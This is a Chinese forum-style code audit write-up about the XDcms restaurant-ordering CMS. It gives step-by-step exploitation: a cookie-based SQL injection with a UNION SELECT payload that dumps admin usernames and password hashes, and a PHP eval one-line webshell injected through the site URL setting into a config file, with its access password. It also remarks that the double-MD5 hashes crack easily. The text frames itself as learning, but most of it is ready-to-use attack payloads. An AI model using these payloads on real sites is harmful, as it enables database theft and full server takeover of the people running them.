大家好,我是缘灭 我又来了 今天下午一直在做单子没空看代码。
晚上天气太热又不想回家,呆在办公室无聊,就开始找源码下载来研究学习挖洞。
纯属于新手学习代码审计练手,大牛请勿笑话。
喜欢代码审计的朋友也可以加我QQ:5551008 学习交流
90sec 代码审计小组QQ群:209547537(喜欢代码审计的朋友快加吧。)
首先老样子 程序介绍:
XDcms订餐网站管理系统是由南宁旭东网络科技有限公司开发的,主要使用Php+Mysql+Smarty技术基础进行开发,采用OOP(面向对象)方式进行基础运行框架搭建,集成在线订餐、团购、积分商城、优惠券、新闻、在线订单、在线支付、生成订单短信/邮箱通知、点评、Google电子地图、问答、并与支付宝、Dz论坛、短信平台接口完美整合等功能于一体的完全开源的高级订餐网站管理系统,并结合手机应用客户端,实现随时随地点餐。使用XDcms订餐网站系统,可轻松搭建专业的餐饮门户。
下载地址:http://down.chinaz.com/soft/32702.htm
题外话:
经过这两天的学习,我开始学会了一些常用的PHP函数的作用理论以及实战应用方法技巧。
也学会了找bug的同时也学会了简单的防御。 为以后自己独立开发程序积累经验。
正题:
直接问题URL:http://www.xxx.com/index.php?m=member&f=edit
问题文件名:/system/modules/member/index.php
$userid=$_COOKIE['member_userid']; 采用cookie 调用member_userid附给$userid
然后没有经过任何过滤的直接进入了sql查询语句,并且没有单引号哦。
利用方法:
为了自己新手方便我使用了火狐浏览器的edit cookies插件来修改
1、 先随便注册一个账号。 (注册跟登录的时候老是提示验证码不正确,为止我把判断验证码的地方直接给注释掉了)
有两处哦。
2、 登录进后台然后点击 资料管理
3、 在工具 – edit cookies 打开插件
因为我是本地测试IP是127.0.0.1 所以我直接搜索127.0.0.1 通过下拉菜单找到 member_userid 这个, 再点击edit 进入编辑
4、语句 -6 Union seLect 1,2,username,4,5,6,7,8,9,10,11,user(),password,database(),version() fRom c_admin
来张效果图
接下来后台拿shell部分了
由于太晚了要回家睡觉了,不然老婆不让睡床了。后台拿shell就不详细了。
方法好几个,我只掩饰其中一个,另外的大家去挖掘吧,一起分享学习。
先说利用方法再看代码。
1、 后台登录页面的验证码一样要注释掉,不知道是不是我本地的PHP环境原因。
2、 系统设置 – 基本信息 – 网站地址 中填入:');?><?php eval($_POST[1]);?> 符号一个不能少不然会出错的。
一句话链接文件/system/xdcms.inc.php 密码1
要注意的事我这样闭合写法是加在url前面,这样改会引起网站出错,所以拿到shell后第一时间进行恢复回来。
先来张成功的图
好了看代码分析吧
/system/modules/xdcms/setting.php
首先把函数用foreach循环读取进来给数组$info
图片有点小看不清楚。贴出代码来
if($tag=='config'){ //判断url是否以/结尾 $urlnum=strlen($info['siteurl'])-1; if(substr($info['siteurl'],$urlnum,1)!="/"){ showmsg(C("update_url_error"),"-1"); }//end $cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件 $cmsurl="<?php\n define('CMS_URL','".$info['siteurl']."');\n define('TP_FOLDER','".$info['template']."');\n define('TP_CACHE',".$info['caching'].");\n?>"; creat_inc($cms,$cmsurl);
很明显了。没有过滤直接写入文件中来。生成配置文件。
这个利用有个满足条件。magic_quotes_gpc = Off的情况下
后台还有其它几个方法可以忽视掉这个直接拿shell。时间关系我就不写出来了
大家自己可以下载源码来研究学习一下。
最后再说一下。
喜欢代码审计的朋友欢迎加群交流 90SEC 代码审计小组QQ群:209547537
OK!打完收工,回家睡觉。
加一句 这个MD5是双重加密
$password=md5(md5($password));
不过放到cmd5网站上面也是直接秒杀